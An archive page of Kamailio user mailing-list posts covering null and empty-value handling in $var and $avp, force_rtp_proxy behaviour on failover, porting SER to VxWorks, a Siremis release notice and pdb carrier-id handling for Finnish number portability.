Hi, I would like to summarize how $avp's and $var's handle the null value, 0 and empty string. For this I've writen the following test I've checked in Kamailio 1.5.4: -------------------------- $var(null) = null; $avp(s:null) = null; $var(empty) = ""; $avp(s:empty) = ""; xlog("var(null): '$var(null)'\n"); if $var(null) == null xlog("*** if var(null) == null \n"); if $var(null) xlog("*** if var(null) \n"); if $var(null) != null xlog("*** if var(null) != null \n"); if ! $var(null) xlog("*** if ! var(null) \n"); if $var(null) == '' xlog("*** if var(null) == '' \n"); if $var(null) == 0 xlog("*** if var(null) == 0 \n"); xlog("\n"); xlog("avp(s:null): '$avp(s:null)'\n"); if $avp(s:null) == null xlog("*** if avp(s:null) == null \n"); if $avp(s:null) xlog("*** if avp(s:null) \n"); if $avp(s:null) != null xlog("*** if avp(s:null) != null \n"); if ! $avp(s:null) xlog("*** if ! avp(s:null) \n"); if $avp(s:null) == '' xlog("*** if avp(s:null) == '' \n"); if $avp(s:null) == 0 xlog("*** if avp(s:null) == 0 \n"); xlog("\n"); xlog("var(empty): '$var(empty)'\n"); if $var(empty) == null xlog("*** if var(empty) == null \n"); if $var(empty) xlog("*** if var(empty) \n"); if $var(empty) != null xlog("*** if var(empty) != null \n"); if ! $var(empty) xlog("*** if ! var(empty) \n"); if $var(empty) == '' xlog("*** if var(empty) == '' \n"); if $var(empty)== 0 xlog("*** if var(empty) == 0 \n"); xlog("\n"); xlog("avp(s:empty): '$avp(s:empty)' \n"); if $avp(s:empty) == null xlog("*** if avp(s:empty) == null \n"); if $avp(s:empty) xlog("*** if avp(s:empty) \n"); if $avp(s:empty) != null xlog("*** if avp(s:empty) != null \n"); if ! $avp(s:empty) xlog("*** if ! avp(s:empty) \n"); if $avp(s:empty) == '' xlog("*** if avp(s:empty) == '' \n"); if $avp(s:empty) == 0 xlog("*** if avp(s:empty) == 0 \n"); ------------------------- The result is: ------------------------- var(null): '0' *** if var(null) != null *** if ! var(null) *** if var(null) == 0 avp(s:null): '<null>' *** if avp(s:null) == null *** if ! avp(s:null) var(empty): '' *** if var(empty) != null *** if ! var(empty) *** if var(empty) == '' CRITICAL:core:comp_scriptvar: invalid operation 20/3/4!! WARNING:core:do_action: error in expression (l=356) avp(s:empty): '' *** if avp(s:empty) != null *** if ! avp(s:empty) *** if avp(s:empty) == '' CRITICAL:core:comp_scriptvar: invalid operation 20/3/4!! WARNING:core:do_action: error in expression (l=372) ------------------------- Conclusions: - $var cannot store null value. If so it converts it to 0. - When cheking "if $avp(...) {" the result is false in case the content of the $avp is null, 0 or an empty string. - When cheking "if $var(...) {" the result is false in case the content of the $var is 0 or an empty string. Any thoughts on this? Regards. -- Iñaki Baz Castillo <ibc(a)aliax.net>

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Calling force_rtp_proxy twice
by Ernest Mavrel 15 Sep '10

15 Sep '10

Hi I have problem with force_rtp_proxy. Kamailio server have multi network interfaces. I have two PSTN GW-s. And If is something wrong with first one, the call is send to the second via PSTN failover route. When I send call to the first GW I'm calling force_rtp_proxy("oc","10.10.10.1"); But the first GW respond with 404 Not found, so I send INVITE to the second GW with calling force_rtp_proxy("oc","10.10.20.1"); In SDP I see double IP's : o=root 26366 26367 IN IP4 10.10.10.110.10.20.1 s=session c=IN IP4 10.10.10.110.10.20.1 How to resolve that? Thank you Ernest

2 1

Calling force_rtp_proxy twice
by Ernest Mavrel 15 Sep '10

15 Sep '10

Hi I have problem with force_rtp_proxy. Kamailio server have multi network interfaces. I have two PSTN GW-s. And If is something wrong with first one, the call is send to the second via PSTN failover route. When I send call to the first GW I'm calling force_rtp_proxy("oc","10.10.10.1"); But the first GW respond with 404 Not found, so I send INVITE to the second GW with calling force_rtp_proxy("oc","10.10.20.1"); In SDP I see double IP's : o=root 26366 26367 IN IP4 10.10.10.110.10.20.1 s=session c=IN IP4 10.10.10.110.10.20.1 How to resolve that? Thank you Ernest

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Re: [SR-Users] To Develop SIP Server
by Daniel-Constantin Mierla 14 Sep '10

14 Sep '10

please keep the list cc-ed. On 9/14/10 10:53 AM, Vijayalakshmi wrote: > Daniel, > Yes, I need to port SER to my server. I tried with liposip2. But > haven't got my result... have you tried to compile it? What is the C compiler of this OS? Does it have support for makefile system? Cheers, Daniel > > Regards. > Lakshmi Marudhanayagam > > Daniel-Constantin Mierla wrote: >> Hello, >> >> On 9/14/10 8:00 AM, Lakshmi Marudhanayagam wrote: >>> Hi, >>> >>> Iam trying to develop a SIP server in VxWorks. Please assist me >>> with how to >>> implement SIP in my Server. Where do I get these info...???? >>> >>> >> do you need to develop a new one (writing from scratch) or port >> kamailio/ser to this os? Have you tried to compile kamailio on it? >> >> Cheers, >> Daniel >> > -- Daniel-Constantin Mierla http://www.asipto.com

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Siremis v1.0.1 released
by Elena-Ramona Modroiu 14 Sep '10

14 Sep '10

Hi, Siremis, the web management interface for Kamailio, released v1.0.1. It is a patch update with fixes since v1.0.0. More about it at: http://siremis.asipto.com/2010/09/14/siremis-v1-0-1-released/ The series 1.0.x will be kept compatible with Kamailio 3.0.x. A new major release is baked these days (new UI and features) to work with upcoming 3.1.0. Regards, Ramona -- http://www.asipto.com

1 0

pdb and carrier id zero in finnish LNP
by Mikko Lehto 14 Sep '10

14 Sep '10

Hi I am exploring the applicability of pdb module in finnish number portability scheme. Looks like carrier id 000 cannot be used as zero is already reserved for "the number could not be found" result in pdb protocol. (Queries seem to work after I changed MIN_PDB_CARRIERID in common.h to 0, but unfortunately that configuration just does not make sense.) Is there any way out of this other than using internally different value for carrier 0? I rather use correct ids if somehow possible to avoid mapping logic in routing script. Note about help text consistency: When going through pdbt.c there is this comment above import_csv function: /* Read a csv list from the given file and build a dtree structure. Format of lines in csv file: "<number prefix>;<carrier id>". Format of carrier id: "D[0-9][0-9][0-9]". Returns the number of lines imported or -1 on error. */ Isn't the third line incorrect? Same thing also in help text output of pdbt -h. docs/data_format.txt mentions letter D only in front of carrier name file. What is the meaning of D anyway in this context? Here is my awk pipe contribution to scripts/get_carrier_names_finland.sh: curl -o - "http://www2.ficora.fi/numerointi/nure_numbering.asp?nums=tot&lang=en" | awk '/<tbody>/, /<\/tbody>/' | awk -F"</td" -v RS="</tr" '{ gsub(/.*>/,"",$1) gsub(/.*>/,"",$2); gsub(/ä/,"ä",$2); gsub(/Å/,"Å",$2); gsub(/ö/,"ö",$2); if ( $2 != "") { printf "D%.3d %s\n",$1,$2 } }' -- Mikko Lehto

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